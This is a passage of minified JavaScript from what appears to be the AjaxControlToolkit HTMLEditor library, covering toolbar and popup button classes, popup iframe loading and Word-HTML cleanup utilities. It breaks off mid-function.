this._normalSrc},set_normalSrc:function(b){this._normalSrc=b;var a=this.get_element();if(/none$/.test(a.src))a.src=b},get_hoverSrc:function(){return this._hoverSrc},set_hoverSrc:function(a){this._hoverSrc=a},get_downSrc:function(){return this._downSrc},set_downSrc:function(a){this._downSrc=a},get_activeSrc:function(){return this._activeSrc},set_activeSrc:function(a){this._activeSrc=a},isImage:function(){return true},_onmouseover:function(){var a=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(a,"_onmouseover"))return false;if(a._hoverSrc.length>0)a.get_element().src=a._hoverSrc;return true},_onmouseout:function(){var a=this,b=a.get_element();if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(a,"_onmouseout"))return false;if(a._hoverSrc.length>0)if(Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_mousedown")&&a._downSrc.length>0)b.src=a._downSrc;else if(Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_active")&&a._activeSrc.length>0)b.src=a._activeSrc;else b.src=a._normalSrc;return true},_onmousedown:function(){var a=this;if(AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(a,"_onmousedown")===null)return null;if(a._downSrc.length>0){a.get_element().src=a._downSrc;a._downTimer=setTimeout(Function.createDelegate(a,a._onmouseup),1e3)}return true},_onmouseup:function(){var a=this,b=a.get_element();if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(a,"_onmouseup"))return false;if(a._downSrc.length>0){if(Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_hover")&&a._hoverSrc.length>0)b.src=a._hoverSrc;else if(Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_active")&&a._activeSrc.length>0)b.src=a._activeSrc;else b.src=a._normalSrc;if(a._downTimer!=null){clearTimeout(a._downTimer);a._downTimer=null}}return true},setActivity:function(c){var a=this,b=a.get_element();if(a._activeSrc.length>0)if(c){if(!Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_active"))b.src=a._activeSrc}else if(Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_active"))if(Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_mousedown")&&a._downSrc.length>0)b.src=a._downSrc;else if(Sys.UI.DomElement.containsCssClass(b,a._cssClass+"_hover")&&a._hoverSrc.length>0)b.src=a._hoverSrc;else b.src=a._normalSrc;AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(a,"setActivity",[c])}};AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.initializeBase(this,[a]);this._designPanel=null};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.prototype={_onmousedown:function(c){var a=false,b=this;if(b._designPanel==null)return a;if(b._designPanel.isPopup())return a;if(AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.callBaseMethod(b,"_onmousedown",[c])===null)return a;b.callMethod();return a},onEditPanelActivity:function(){this._designPanel=this._editPanel.get_activePanel()},callMethod:function(){if(this._designPanel==null)return false;if(this._designPanel.isPopup())return false;return true}};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton);3Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.prototype={canBeShown:function(){return AjaxControlToolkit.HTMLEditor.isIE},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.callBaseMethod(this,"callMethod"))return false;var a=this._designPanel;if(AjaxControlToolkit.HTMLEditor.isIE){a.openWait();setTimeout(function(){a.isShadowed();a._copyCut("c",true);a.closeWait();a._ifShadow()},0)}else a._copyCut("c",true)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton=function(b){var a=this;AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.initializeBase(a,[b]);a._loaded=false;a._activated=null;a._app_onload$delegate=Function.createDelegate(a,a._app_onload);a._cssClass="";a._name="";a._onmouseover$delegate=Function.createDelegate(a,a._onmouseover);a._onmouseout$delegate=Function.createDelegate(a,a._onmouseout);a._onmousedown$delegate=Function.createDelegate(a,a._onmousedown);a._onmouseup$delegate=Function.createDelegate(a,a._onmouseup);a._onclick$delegate=Function.createDelegate(a,a._onclick)};AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.prototype={isImage:function(){return true},set_toolTip:function(a){this.get_element().title=a},get_toolTip:function(){return this.get_element().title},set_name:function(a){this._name=a},get_name:function(){return this._name},initialize:function(){var a=this,b=a.get_element();AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.callBaseMethod(a,"initialize");Sys.Application.add_load(a._app_onload$delegate);a._cssClass=b.className.split(" ")[0];a.isImage()&&$addHandlers(b,{mouseover:a._onmouseover$delegate,mouseout:a._onmouseout$delegate,mousedown:a._onmousedown$delegate,mouseup:a._onmouseup$delegate,click:a._onclick$delegate});if(AjaxControlToolkit.HTMLEditor.isIE){function c(a){if(a.nodeType==1&&a.tagName){var b=a.tagName.toUpperCase();if(b!="INPUT"&&b!="TEXTAREA"&&b!="IFRAME")a.unselectable="on";for(var d=0;d<a.childNodes.length;d++)c(a.childNodes.item(d))}}c(b)}else try{b.style.MozUserSelect="none";b.parentNode.style.MozUserSelect="none"}catch(d){}},activate:function(b){var a=this;a._activated=b;if(a.isImage()){AjaxControlToolkit.HTMLEditor._addEvent(a._activated,"mouseover",a._onmouseover$delegate);AjaxControlToolkit.HTMLEditor._addEvent(a._activated,"mouseout",a._onmouseout$delegate);AjaxControlToolkit.HTMLEditor._addEvent(a._activated,"mousedown",a._onmousedown$delegate);AjaxControlToolkit.HTMLEditor._addEvent(a._activated,"mouseup",a._onmouseup$delegate);AjaxControlToolkit.HTMLEditor._addEvent(a._activated,"click",a._onclick$delegate)}},dispose:function(){var a=this;if(a.isImage()&&a._activated!=null){AjaxControlToolkit.HTMLEditor._removeEvent(a._activated,"mouseover",a._onmouseover$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(a._activated,"mouseout",a._onmouseout$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(a._activated,"mousedown",a._onmousedown$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(a._activated,"mouseup",a._onmouseup$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(a._activated,"click",a._onclick$delegate)}a._activated=null;a._loaded=false;Sys.Application.remove_load(a._app_onload$delegate);AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.callBaseMethod(a,"dispose")},_app_onload:function(){if(this._loaded)return;this.onButtonLoaded();this._loaded=true},onButtonLoaded:function(){},_onmouseover:function(){if(!this.isEnable())return false;Sys.UI.DomElement.addCssClass(this._activated,this._cssClass+"_hover");return true},_onmouseout:function(c){var b=this;if(!b.isEnable())return false;var a=c.toElement||c.relatedTarget;try{while(a&&typeof a!="undefined")if(a==b._activated)break;else a=a.parentNode}catch(d){a=null}if(a!=null)return true;Sys.UI.DomElement.removeCssClass(b._activated,b._cssClass+"_hover");Sys.UI.DomElement.removeCssClass(b._activated,b._cssClass+"_mousedown");return true},_onmousedown:function(){if(!this.isEnable())return null;Sys.UI.DomElement.addCssClass(this._activated,this._cssClass+"_mousedown");return false},_onmouseup:function(){if(!this.isEnable())return false;Sys.UI.DomElement.removeCssClass(this._activated,this._cssClass+"_mousedown");return true},_onclick:function(a){if(!this.isEnable())return false;this.callMethod(a);return true},callMethod:function(){var a=this,c=a._activated.ownerDocument||a._activated.document||target,b=c.defaultView||c.parentWindow,d=b.popupMediator.get_callMethodByName(a._name);Function.createDelegate(a,d)(b)},isEnable:function(){if(!this._loaded)return false;return true}};AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.registerClass("AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton",Sys.UI.Control);`Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.Popup=function(b){var a=this;AjaxControlToolkit.HTMLEditor.Popups.Popup.initializeBase(a,[b]);a._iframe=null;a._top=0;a._left=0;a._doc=null;a._initialContent="";a._cssPath="";a._autoDimensions=true;a._registeredFields=[];a._registeredHandlers=[];a._app_onload$delegate=Function.createDelegate(a,a._app_onload);a.isOpened=false;a.isLoaded=false;a.isLoading=false};AjaxControlToolkit.HTMLEditor.Popups.Popup.prototype={getDocument:function(){return this._doc},getPopupMediator:function(){if(this._iframe.contentWindow&&this._iframe.contentWindow.popupMediator)return this._iframe.contentWindow.popupMediator;else return null},get_registeredFields:function(){return this._registeredFields},set_registeredFields:function(value){this._registeredFields=eval(value)},get_registeredHandlers:function(){return this._registeredHandlers},set_registeredHandlers:function(value){this._registeredHandlers=eval(value)},get_initialContent:function(){return this._initialContent},set_initialContent:function(a){this._initialContent=a},get_cssPath:function(){return this._cssPath},set_cssPath:function(a){this._cssPath=a},get_autoDimensions:function(){return this._autoDimensions},set_autoDimensions:function(a){this._autoDimensions=a},get_iframe:function(){return this._iframe},set_iframe:function(a){this._iframe=a},checkCorrectLoaded:function(c){var a=this,b=a;if(b.isLoaded&&(b._iframe.style.height=="0px"||b._iframe.style.width=="0px"))a.isLoaded=false;if(!a.isLoaded){!a.isLoading&&a.reload();typeof c!="undefined"&&setTimeout(c,10);return false}return true},_baseOpen:function(b,e,d){var f="undefined",a=this,c=a;if(!a.checkCorrectLoaded(function(){c._baseOpen(b,e,d)}))return;var g=a.get_element();if(typeof d!=f)a._left=parseInt(d);if(typeof e!=f)a._top=parseInt(e);g.style.top=a._top+"px";g.style.left=a._left+"px";setTimeout(function(){typeof b=="function"&&c._onDocumentLoaded(b);c.isOpened=true},0)},open:function(a,c,b){this._baseOpen(a,c,b)},close:function(a){var b=this.get_element();this.isOpened=false;b.style.top="-2000px";b.style.left="-2000px";typeof a=="function"&&a()},reload:function(){var a=this;a.isLoading=true;var c=a.get_element(),d=c.parentNode;document.body.appendChild(c);d.appendChild(a.get_element());a._doc=a._iframe.contentWindow.document;a._doc.open();var b=new Sys.StringBuilder;b.append('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html><head>');a._cssPath.length>0&&b.append('<link rel="stylesheet" href="'+a._cssPath+'" media="all" />');b.append("<script>var __loaded__ = false;</sc"+"ript></head><body style='margin:0px; padding:0px; border-width:0px;' onload='__loaded__ = true;'>");a._autoDimensions&&b.append("<table cellspacing='0' cellpadding='0' border='0'><tr><td>");b.append(a._initialContent);a._autoDimensions&&b.append("</td></tr></table>");b.append("</body></html>");a._doc.write(b.toString());a._doc.close();a.isLoaded=false;a._afterReload()},_afterReload:function(){var e=true,g="TEXTAREA",d=false,c=this,b=c._iframe.contentWindow,a=c;c.isLoaded=b.__loaded__;if(!(a._doc.body&&a._doc.body.innerHTML))c.isLoaded=d;if(!c.isLoaded){setTimeout(function(){a._afterReload()},10);return}c.isLoaded=d;b.popupMediator={};b.popupMediator.registeredFields=c._registeredFields;b.popupMediator.registeredHandlers=c._registeredHandlers;b.popupMediator.get_callMethodByName=function(e){for(var c=b.popupMediator.registeredHandlers,a=0;a<c.length;a++){var d=c[a];if(d.name==e)return d.callMethod}return null};b.popupMediator.set_callMethodByName=function(f,e){for(var c=b.popupMediator.registeredHandlers,a=0;a<c.length;a++){var d=c[a];if(d.name==f)d.callMethod=e}};b.popupMediator.getField=function(e){for(var c=b.popupMediator.registeredFields,a=0;a<c.length;a++){var d=c[a];if(d.name==e)return b.document.getElementById(d.clientID)}return null};b.Sys=Sys;for(var f=0;f<c._registeredHandlers.length;f++)$find(c._registeredHandlers[f].clientID).activate(b.document.getElementById(c._registeredHandlers[f].clientID));if(AjaxControlToolkit.HTMLEditor.isIE)a._doc.onselectstart=function(){var c=a._iframe.contentWindow.event,b=c.srcElement.tagName.toUpperCase();if(b=="INPUT"||b==g)return e;return d};else{a._doc.onmousedown=function(b){var a=b.target.tagName.toUpperCase();if(a=="INPUT"||a==g||a=="SELECT")return e;if(AjaxControlToolkit.HTMLEditor.isSafari)if(a=="TABLE"||a=="TR"||a=="TD"||a=="DIV")return e;return d};for(var h=a._doc.getElementsByTagName("input"),f=0;f<h.length;f++)h[f].setAttribute("autocomplete","off")}if(c._autoDimensions){a._iframe.style.height="1000px";a._iframe.style.width="1000px";setTimeout(function(){a._iframe.style.height=a._doc.body.firstChild.offsetHeight+"px";a._iframe.style.width=a._doc.body.firstChild.offsetWidth+"px";a.isLoaded=e;a.isLoading=d},0)}else{a.isLoaded=e;a.isLoading=d}},_onDocumentLoaded:function(b){var a=this,c=a;if(!a.isLoaded){setTimeout(function(){c._onDocumentLoaded(b)},10);return}a.isLoaded=true;b(a._iframe.contentWindow)},initialize:function(){this.__appLoaded__=false;AjaxControlToolkit.HTMLEditor.Popups.Popup.callBaseMethod(this,"initialize");Sys.Application.add_load(this._app_onload$delegate)},dispose:function(){var a=this;Sys.Application.remove_load(a._app_onload$delegate);a.isOpened&&a.close();AjaxControlToolkit.HTMLEditor.Popups.Popup.callBaseMethod(a,"dispose")},_app_onload:function(){var a=this;if(a.__appLoaded__)return;a.__appLoaded__=true;var b=a.get_element();if(AjaxControlToolkit.HTMLEditor.isReallyVisible(b)){a._parentNode_=b.parentNode;a.reload()}}};AjaxControlToolkit.HTMLEditor.Popups.Popup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.Popup",Sys.UI.Control);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.LinkProperties=function(b){var a=this;AjaxControlToolkit.HTMLEditor.Popups.LinkProperties.initializeBase(a,[b]);a._defaultTarget="_self";a._targetTextHolder=null;a._urlTextHolder=null};AjaxControlToolkit.HTMLEditor.Popups.LinkProperties.prototype={get_defaultTarget:function(){return this._defaultTarget},set_defaultTarget:function(a){this._defaultTarget=a}};AjaxControlToolkit.HTMLEditor.Popups.LinkProperties.registerClass("AjaxControlToolkit.HTMLEditor.Popups.LinkProperties",AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.Trim=function(a){return a.replace(/[\x00-\x1F]+/g,"")};AjaxControlToolkit.HTMLEditor.TrimAll=function(a){return a.replace(/[\x00-\x1F]/g,"").replace(/^[\x20]+/g,"").replace(/[\x20]+$/g,"")};AjaxControlToolkit.HTMLEditor.isIE=Sys.Browser.agent==Sys.Browser.InternetExplorer;AjaxControlToolkit.HTMLEditor.isSafari=Sys.Browser.agent==Sys.Browser.Safari;AjaxControlToolkit.HTMLEditor.isOpera=Sys.Browser.agent==Sys.Browser.Opera;AjaxControlToolkit.HTMLEditor.tryReplaceRgb=function(c){var a=c,e=/(rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\))/ig;function b(a){return a<16?"0"+a.toString(16):a.toString(16)}function d(h,i,a,c,d){var g=parseInt(a),f=parseInt(c),e=parseInt(d);return "#"+b(g)+b(f)+b(e)}try{a=a.replace(e,d)}catch(f){}return a};AjaxControlToolkit.HTMLEditor._getScrollTop=function(c){var a=c.document,b=0;if(typeof c.pageYOffset=="number")b=c.pageYOffset;if(a.body&&a.body.scrollTop)b=a.body.scrollTop;else if(a.documentElement&&a.documentElement.scrollTop)b=a.documentElement.scrollTop;return b};AjaxControlToolkit.HTMLEditor._getScrollLeft=function(c){var a=c.document,b=0;if(typeof c.pageXOffset=="number")b=c.pageXOffset;else if(a.body&&a.body.scrollLeft)b=a.body.scrollLeft;else if(a.documentElement&&a.documentElement.scrollLeft)b=a.documentElement.scrollLeft;return b};AjaxControlToolkit.HTMLEditor.addFormOnSubmit=function(e,d){var b="undefined",a=null,c=window.theForm;if(window.theForm!=a&&typeof window.theForm!=b){if(c.AjaxControlToolkit_HTMLEditor_editPanels==a||typeof c.AjaxControlToolkit_HTMLEditor_editPanels==b){c.originalOnSubmit_AjaxControlToolkit_HTMLEditor=window.theForm.onsubmit;c.AjaxControlToolkit_HTMLEditor_editPanels=[];window.theForm.onsubmit=AjaxControlToolkit.HTMLEditor.EditPanelsOnSubmit;if(window.__doPostBack!=a&&typeof window.__doPostBack!=b)if(window.__doPostBack_AjaxControlToolkit_HTMLEditor_original==a||typeof window.__doPostBack_AjaxControlToolkit_HTMLEditor_original==b){window.__doPostBack_AjaxControlToolkit_HTMLEditor_original=window.__doPostBack;window.__doPostBack=AjaxControlToolkit.HTMLEditor.EditPanelsOnPostBack}if(window.ValidatorGetValue!=a&&typeof window.ValidatorGetValue!=b)if(window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original==a||typeof window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original==b){window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original=window.ValidatorGetValue;window.ValidatorGetValue=AjaxControlToolkit.HTMLEditor.ValidatorGetValue}}c.AjaxControlToolkit_HTMLEditor_editPanels.push({handler:e,editPanel:d})}};AjaxControlToolkit.HTMLEditor.removeFormOnSubmit=function(h){var c="undefined",b=null,a=window.theForm;if(window.theForm!=b&&typeof window.theForm!=c){var g=a.originalOnSubmit_AjaxControlToolkit_HTMLEditor;if(a.AjaxControlToolkit_HTMLEditor_editPanels!=b&&typeof a.AjaxControlToolkit_HTMLEditor_editPanels!=c){for(var e=[],d=0;d<a.AjaxControlToolkit_HTMLEditor_editPanels.length;d++){var f=a.AjaxControlToolkit_HTMLEditor_editPanels[d];f.handler!=h&&e.push(f)}a.AjaxControlToolkit_HTMLEditor_editPanels=e;if(a.AjaxControlToolkit_HTMLEditor_editPanels.length==0){window.theForm.onsubmit=g;a.originalOnSubmit_AjaxControlToolkit_HTMLEditor=b;a.AjaxControlToolkit_HTMLEditor_editPanels=b;if(window.__doPostBack_AjaxControlToolkit_HTMLEditor_original!=b&&typeof window.__doPostBack_AjaxControlToolkit_HTMLEditor_original!=c){window.__doPostBack=window.__doPostBack_AjaxControlToolkit_HTMLEditor_original;window.__doPostBack_AjaxControlToolkit_HTMLEditor_original=b}if(window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original!=b&&typeof window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original!=c){window.ValidatorGetValue=window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original;window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original=b}}}}};AjaxControlToolkit.HTMLEditor.EditPanelsOnSubmit=function(d){for(var a=window.theForm,c=true,b=0;b<a.AjaxControlToolkit_HTMLEditor_editPanels.length;b++){var c=a.AjaxControlToolkit_HTMLEditor_editPanels[b].handler(d);if(!c)break}if(c&&a.originalOnSubmit_AjaxControlToolkit_HTMLEditor!=null&&typeof a.originalOnSubmit_AjaxControlToolkit_HTMLEditor!="undefined")c=a.originalOnSubmit_AjaxControlToolkit_HTMLEditor(d);if(!c||!window.Page_IsValid)for(var b=0;b<a.AjaxControlToolkit_HTMLEditor_editPanels.length;b++)a.AjaxControlToolkit_HTMLEditor_editPanels[b].editPanel._contentPrepared=false;return c};AjaxControlToolkit.HTMLEditor.ValidatorGetValue=function(e){var c=null,a=$find(e);if(a!=c){var b=c;if(AjaxControlToolkit.HTMLEditor.Editor.isInstanceOfType(a))b=a.get_editPanel();else if(AjaxControlToolkit.HTMLEditor.EditPanel.isInstanceOfType(a))b=a;if(b!=c){var d=b._contentForValidation;if(d==c||typeof d=="undefined")d=b.get_content();return d}}return window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original(e)};AjaxControlToolkit.HTMLEditor.EditPanelsOnPostBack=function(d,c){for(var b=window.theForm,a=0;a<b.AjaxControlToolkit_HTMLEditor_editPanels.length;a++){var e=b.AjaxControlToolkit_HTMLEditor_editPanels[a].handler(null);if(!e)return false}if(window.__doPostBack_AjaxControlToolkit_HTMLEditor_original!=null&&typeof window.__doPostBack_AjaxControlToolkit_HTMLEditor_original!="undefined")return window.__doPostBack_AjaxControlToolkit_HTMLEditor_original(d,c);return true};AjaxControlToolkit.HTMLEditor.getRealAttributeIE=function(e,f,g){var c="^(?:<[^>]*?",b=g,a="";function d(c,b){a=b}e.outerHTML.replace(new RegExp(c+f+'=")([^"]*?)"',"ig"),d);a==""&&e.outerHTML.replace(new RegExp(c+f+"=')([^']*?)'","ig"),d);a==""&&e.outerHTML.replace(new RegExp(c+f+"=)([^s>]*?)","ig"),d);if(b!=a&&a!=""){b=a;b=b.replace(/&amp;/g,"&")}return b};AjaxControlToolkit.HTMLEditor.getRealAttribute=function(d,b){var f=b.toLowerCase(),e=d.attributes,a="";for(i=0;i<e.length;++i){var c=e.item(i);if(!c.specified)continue;var b=c.name.toLowerCase();if(b==f){a=c.value;if(AjaxControlToolkit.HTMLEditor.isIE)a=AjaxControlToolkit.HTMLEditor.getRealAttributeIE(d,b,a);if(b=="src"||b=="href")a=a.replace(/(\(S\([A-Za-z0-9_]+\)\)\/)/,"");break}}return a};AjaxControlToolkit.HTMLEditor.enabledWordTags=["img","strong","p","b","i","u","a","h1","h2","h3","h4","h5","h6","table","tbody","tr","td","ul","ol","li","span","div","font","xml","del","ins","em","sub","sup","hr","br"];AjaxControlToolkit.HTMLEditor.cleanUp=function(f){var a="",c,b=AjaxControlToolkit.HTMLEditor.Trim(f.replace(/[\x00-\x1F]+/g," ")).replace(/^[^\u0000]+?<html(?:[^>]*?)>/gi,a).replace(/<\/html(?:[^>]*?)>[^\u0000]*$/gi,a).replace(/<head(?:[^>]*?)>[^\u0000]*?<\/head(?:[^>]*?)>/gi,a).replace(/<body[^>]*?>([^\u0000]*?)<\/body(?:[^>]*?)>/gi,"$1").replace(/<\/?html(?:[^>]*?)>/gi,a).replace(/<\/?head(?:[^>]*?)>/gi,a).replace(/<\/?body(?:[^>]*?)>/gi,a).replace(/<!--(\w|\W)+?-->/ig,a).replace(/(<[\/]?)(?:o|v|x|p|w|\?xml):(\w+)([^>]*?>)/ig,"$1$2$3").replace(/<(IMAGEDATA)([^>]*?)>/ig,"<img$2>").replace(/<p[^>]*><p>&nbsp;<\/p><\/p>/ig,"<br>").replace(/<p[^>]*?\/>/ig,a).replace(/<(p|div)[^>]*?>&nbsp;<\/(\1)[^>]*?>/ig,a).replace(/<(p|div)[^>]*?><\/(\1)[^>]*?>/ig,a);do{c=b;b=b.replace(/<([^>]*)(?:class|size|lang|face|start|type|border|[ovwxp]:\w+)=(?:\'[^\']*\'|\"[^\"]*\"|[^> ]+)([^>]*)>/ig,"<$1$2>")}while(b!=c);var d=document.createElement("div");d.innerHTML=b;function e(m){var h="solid",g="black",f="1px",d="height",c="width";for(var r=m.childNodes.length,i=0;i<m.childNodes.length;i++){var b=m.childNodes.item(i);if(b.nodeType==1)if(b.tagName.indexOf("/")>=0){i--;b.parentNode.removeChild(b)}else{for(var j=b.tagName.toLowerCase(),q=false,s=AjaxControlToolkit.HTMLEditor.enabledWordTags.length,n=0;n<s;n++)if(AjaxControlToolkit.HTMLEditor.enabledWordTags[n]==j){q=true;break}e(b);if(!q){i+=b.childNodes.length;while(b.firstChild)b.parentNode.insertBefore(b.firstChild,b);b.parentNode.removeChild(b);i--}else{var k=b.style.backgroundColor,l=b.style.color;b.style.cssText=a;b.removeAttribute("style");if(b.getAttribute(c)&&b.getAttribute(c).length>0)b.style.width=b.getAttribute(c);if(b.width&&b.width.length>0)b.style.width=b.width;b.width=a;try{b.removeAttribute(c)}catch(u){}if(b.getAttribute(d)&&b.getAttribute(d).length>0)b.style.height=b.getAttribute(d);if(b.height&&b.height.length>0)b.style.height=b.height;b.height=a;try{b.removeAttribute(d)}catch(u){}if(j=="table"){b.style.borderLeftWidth=f;b.style.borderLeftColor=g;b.style.borderLeftStyle=h;b.style.borderTopWidth=f;b.style.borderTopColor=g;b.style.borderTopStyle=h;b.style.backgroundColor=k;b.style.color=l}if(j=="td"){b.style.borderRightWidth=f;b.style.borderRightColor=g;b.style.borderRightStyle=h;b.style.borderBottomWidth=f;b.style.borderBottomColor=g;b.style.borderBottomStyle=h;b.style.backgroundColor=k;b.style.color=l}if(j=="font"||j=="span"){b.style.backgroundColor=k;b.style.color=l;for(var p=b.attributes,r=0,o=0;o<p.length;++o){var t=p.item(o);if(!t.specified)continue;r++}if(r==0&&b.style.cssText==a){i+=b.childNodes.length;while(b.firstChild)b.parentNode.insertBefore(b.firstChild,b);b.parentNode.removeChild(b);i--}}}}}}e(d);b=AjaxControlToolkit.HTMLEditor.Trim(d.innerHTML);delete d;b=b.replace(/<[\/]?(xml|del|ins)[^>]*?>/ig,a).replace(/<(p|div)[^>]*?>/ig,a).replace(/<\/(p|div)[^>]*?>/ig,"<br>");do{c=b;b=b.replace(/<b><\/b>/ig,a).replace(/<i><\/i>/ig,a).replace(/<u><\/u>/ig,a).replace(/<strong><\/strong>/ig,a).replace(/<em><\/em>/ig,a).replace(/<sub><\/sub>/ig,a).replace(/<sup><\/sup>/ig,a);b=b.replace(/<span[^>]*?><\/span>/ig,a).replace(/<span>([^<]+?)<\/span>/ig,"$1");b=b.replace(/<font[^>]*?><\/font>/ig,a).replace(/<font>([^<]+?)<\/font>/ig,"$1")}while(b!=c);b=b.replace(/&rsquo;/g,"'").replace(/&lsquo;/g,"'").replace(/&ndash;/g,"-").replace(/&mdash;/g,"-").replace(/&hellip;/g,"...").replace(/&quot;/g,'"').replace(/&ldquo;/g,'"').replace(/&rdquo;/g,'"').replace(//g,a).replace(/&bull;/g,a).replace(/[ \s]+/g," ").replace(/((&nbsp;)+)/g,"&nbsp;");if(document.all)b=b.replace(/^[\x00-\x1F]*&nbsp;/,a);return b};AjaxControlToolkit.HTMLEditor.spanJoiner=function(g,s,o,p,r){var l="SPAN",k="class",j=null,n="undefined",q=0,e=g.childNodes.length;if(typeof o!=n&&o!=j)q=o;if(typeof p!=n&&p!=j)e=p;for(var f=q;f<e&&f<g.childNodes.length;f++){var a=g.childNodes.item(f);if(a.parentNode!=g)continue;switch(a.nodeType){case 1:if(a.childNodes.length==0&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A"&&!(a.className.length>0||a.getAttribute(k)&&a.getAttribute(k).length>0)&&!AjaxControlToolkit.HTMLEditor.isTempElement(a)){g.removeChild(a);f--;e--;continue}if(a.tagName.toUpperCase()==l){while(a.childNodes.length==1&&a.firstChild.nodeType==1){if(a.firstChild.tagName.toUpperCase()==l&&!AjaxControlToolkit.HTMLEditor.isTempElement(a.firstChild)){var h=AjaxControlToolkit.HTMLEditor.differAttr(a.firstChild,[]),d=AjaxControlToolkit.HTMLEditor.differStyle(a.firstChild),i=a.firstChild,w=i.childNodes;while(i.firstChild!=j)a.insertBefore(i.firstChild,i);for(var b=0;b<d.length;b++)if(d[b][1])try{if(a.style[d[b][0]])if(d[b][0].toLowerCase().indexOf("color")>=0)a.style[d[b][0]]=d[b][1];else try{var u=a.style[d[b][0]];a.style[d[b][0]]=a.style[d[b][0]]+" "+d[b][1];if(u==a.style[d[b][0]])a.style[d[b][0]]=d[b][1]}catch(x){a.style[d[b][0]]=d[b][1]}else a.style[d[b][0]]=d[b][1]}catch(x){}for(var b=0;b<h.length;b++)h[b][1]&&a.setAttribute(h[b][0],h[b][1]);a.removeChild(i);continue}else if(a.firstChild.tagName.toUpperCase()==l&&AjaxControlToolkit.HTMLEditor.isTempElement(a.firstChild)){var t=a.firstChild;a.parentNode.insertBefore(a.firstChild,a);a.parentNode.removeChild(a);a=t}break}var m=[],c=a.nextSibling;while(!AjaxControlToolkit.HTMLEditor.isTempElement(a)&&c&&f+1<e&&(c.nodeType==3||c.nodeType==1&&(c.tagName.toUpperCase()==l||c.tagName.toUpperCase()=="BR"&&typeof r==n)&&!AjaxControlToolkit.HTMLEditor.isTempElement(c)))if(c.nodeType==3)if((""+c.data+"").length==0){c.parentNode.removeChild(c);c=a.nextSibling;e--}else break;else if(c.tagName.toUpperCase()=="BR"){m.push(c);c=c.nextSibling}else{var h=AjaxControlToolkit.HTMLEditor.differAttr(a,[],c),d=AjaxControlToolkit.HTMLEditor.differStyle(a,c);if(h.length==0&&d.length==0&&a.className==c.className){for(var v=m.length,b=0;b<v;b++){a.appendChild(m[b]);e--}m=[];while(c.firstChild)a.appendChild(c.firstChild);c.parentNode.removeChild(c);c=a.nextSibling;e--}else break}if(!AjaxControlToolkit.HTMLEditor.isTempElement(a)&&a.className.length==0){var 